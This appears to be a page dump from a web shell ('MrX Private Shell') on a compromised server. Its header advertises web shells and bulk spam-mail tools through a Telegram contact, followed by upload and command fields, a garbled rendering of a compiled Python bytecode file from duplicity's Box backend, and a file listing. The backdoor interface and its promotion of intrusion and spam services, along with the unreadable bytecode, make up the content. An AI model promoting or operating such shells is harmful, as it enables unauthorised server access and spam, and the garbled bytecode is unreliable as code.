__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g����SSKrSSKrSSKJr "SS\R
R5r\R
RS\5 g)�N)�BackendExceptionc�l�\rSrSrSrSrSrSrSrSr	Sr
SS	jrS
rSr
SrS
rSrSrSrg)�
BoxBackend�c��[RRRX5 SSKJqJq URU5UlURSS:XaURSSOURUl
0UlURUR5Ul
URc!URUR5Ul
gg)Nr)�Client�JWTAuth�/�)�	duplicity�backend�Backend�__init__�boxsdkrr	�get_box_client�_client�path�_folder�_file_to_metadata_map�get_id_from_path�
_folder_id�makedirs)�self�
parsed_urls  �?/usr/lib/python3/dist-packages/duplicity/backends/boxbackend.pyr�BoxBackend.__init__s������!�!�*�*�4�<�	
�
�*�*�:�6���.8�o�o�a�.@�C�.G�z���q�r�*�Z�_�_���%'��"��/�/����=����?�?�"�"�m�m�D�L�L�9�D�O�#�c��[RRURSS5n[	[
R
U55$![asn[RRS5nUbA[	[
R
U55sSnA$![an[S5eSnAff=f[S5eSnAff=f)N�configr�BOX_CONFIG_PATHzbox config file is not found.z.box config file is not specified or not found.)�osr�
expanduser�
query_argsrr	�from_settings_file�	Exception�environ�getr)rr�config_path�es    rr�BoxBackend.get_box_client.s���	U��'�'�,�,�Z�-B�-B�8�-L�Q�-O�P�K��'�4�4�[�A�B�B���	U��*�*�.�.�):�;�K��&�L�!�'�"<�"<�[�"I�J�J�� �L�*�+J�K�K��L��#�#S�T�T��	U�s<�AA�
C�"C�<B�C�
B9�)B4�4B9�9C�Cc���URUR55 URUR	5R5UR5S9 g![a NGf=f)zoUploads file to the specified remote folder
(tries to delete it first to make sure the new one can be uploaded))�
local_file�remote_fileN)�delete�decoder%�upload�
get_canonical)r�source_path�remote_filenames   r�_put�BoxBackend._put<sd��	��K�K��.�.�0�1�	
���"�0�0�2�9�9�;�'�.�.�0�	�	
���	��	�s�A�
A)�(A)c�p�URUR5URR5S9 g)z-Downloads file from the specified remote path)r-r,N)�downloadr/�name)rr3�
local_paths   r�_get�BoxBackend._getIs1��	
�
�
�'�.�.�0�!���-�-�/�	�	
rc�"�UR5$)z(Lists files in the specified remote path)�folder_contents)rs r�_list�BoxBackend._listQs���#�#�%�%rc�>�URUR5S9 g)z+Deletes file from the specified remote path)r-N)r.r/)r�filenames  r�_delete�BoxBackend._deleteVs��	
������ 1��2rc	��UVs0sH/o"URRUR5SS05_M1 sn$s snf)z!Query metadata for a list of file�size���)rr'r/)r�
filename_listrAs   r�_query_list�BoxBackend._query_list[s?��jw�x�jw�^f�$�4�4�8�8����9J�V�UW�L�Y�Y�jw�x�x��xs�6>c��URS5Vs/sH(o3R5S:wdMUR5PM* nnUSnUSSnSnURRUS9R	5H!nUR
U:XdMURn O Ucg[U5S:XaU$UnUSnUSSnMqs snf)z'Get the folder or file id from its pathr
�rrN��	folder_id)�split�stripr�folder�	get_itemsr8�id�len)	r�remote_path�	parent_id�x�
path_items�head�tail�selected_item_id�items	         rr�BoxBackend.get_id_from_path_s���)4�):�):�3�)?�S�)?�A�7�7�9�PR�?�i�a�g�g�i�)?�
�S��!�}���!�"�~���#�����+�+�i�+�@�J�J�L���9�9��$�'+�w�w�$��M�
 �'���T��a��'�'�(�I���7�D����8�D���	Ts
�C�Cc�0�URRU5nUbUS$URXRS9nURRU5R5nURURS.URUR'U$)z Get the fild id by its file namerR)rU�rRrE)	rr'rrr�filerRrEr8)rr3r_�file_ids    r�get_file_id_from_filename�$BoxBackend.get_file_id_from_filenamews����)�)�-�-�o�>������:���'�'��?�?�'�S���|�|� � ��)�-�-�/���'�'��I�I�1
��"�"�4�9�9�-��rc�$�URS5Vs/sH(o"R5S:wdMUR5PM* nnSnSn[U5S:�aoSnURR	US9R5H$nURUS:XdMURn O UcUnOUnUSSn[U5S:�aMoUbAUnUH9nURR	U5RU5nURnM; U$s snf)z'Create folder(s) in a path if necessaryr
rK�0NrrLr)	rNrOrSrrPrQr8rR�create_subfolder)	rrTrVrWrU�start_folder_idrZr[�	subfolders	         rr�BoxBackend.makedirs�s��)4�):�):�3�)?�S�)?�A�7�7�9�PR�?�i�a�g�g�i�)?�
�S��	����*�o��!�#�����+�+�i�+�@�J�J�L���9�9�
�1�
�-�'+�w�w�$��M�
 �'�"+���(�I�#�A�B��J��*�o��!��&�'�I�"�� �L�L�/�/�	�:�K�K�D�Q�	�%�L�L�	�#����1Ts
�D
�D
c	��URRURS9R/SQS9Vs/sHnURS:XdMUPM nnUR
R
UVs0sH&oRURURS._M( sn5 UVs/sHoRPM sn$s snfs snfs snf)z Lists files of a remote box pathrL)rRr8rE)�fieldsr_r^)
rrPrrQ�typer�updater8rRrE)rrV�itemss   rr=�BoxBackend.folder_contents�s���
�\�\�(�(�4�?�?�(�C�M�M�Uk�M�l�
�l���v�v���
�l�	�
�	
�"�"�)�)�Y^�*_�Y^�TU�6�6�!�$�$����3O�+O�Y^�*_�`� %�&��1����&�&��
��+`��&s�B>�
B>�.-C�&Cc���URRUR5RX!S9nURUR
S.URUR'g)z#Upload local file to the box folder)�	file_path�	file_namer^N)rrPrr0rRrErr8)rr-r,�new_files    rr0�BoxBackend.upload�sN���<�<�&�&�t���7�>�>��>�k���+�+��M�M�5
��"�"�8�=�=�1rc���URU5n[US5nURRU5R	U5 SSS5 g!,(df   g=f)zDownload file in box folder�wbN)ra�openrr_�download_to)rr-r,r`�fps     rr7�BoxBackend.download�sG���0�0��=��
�*�d�
#�r��L�L���g�&�2�2�2�6�$�
#�
#�s�+A�
A c�x�URU5nURRU5R5 g)zDelete file in box folderN)rarr_r.)rr-r`s   rr.�BoxBackend.delete�s-���0�0��=�������'�"�)�)�+r)rrrrN)rd)�__name__�
__module__�__qualname__�__firstlineno__rrr4r:r>rBrHrrarr=r0r7r.�__static_attributes__�rrrrsJ��:�"U�
�
�&�
3�
y��0
��8'�
�7�,rr�box)	r!�duplicity.backendr�duplicity.errorsrr
rr�register_backendr�rr�<module>r�sC��,
��-�e,��"�"�*�*�e,�P
���"�"�5�*�5r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager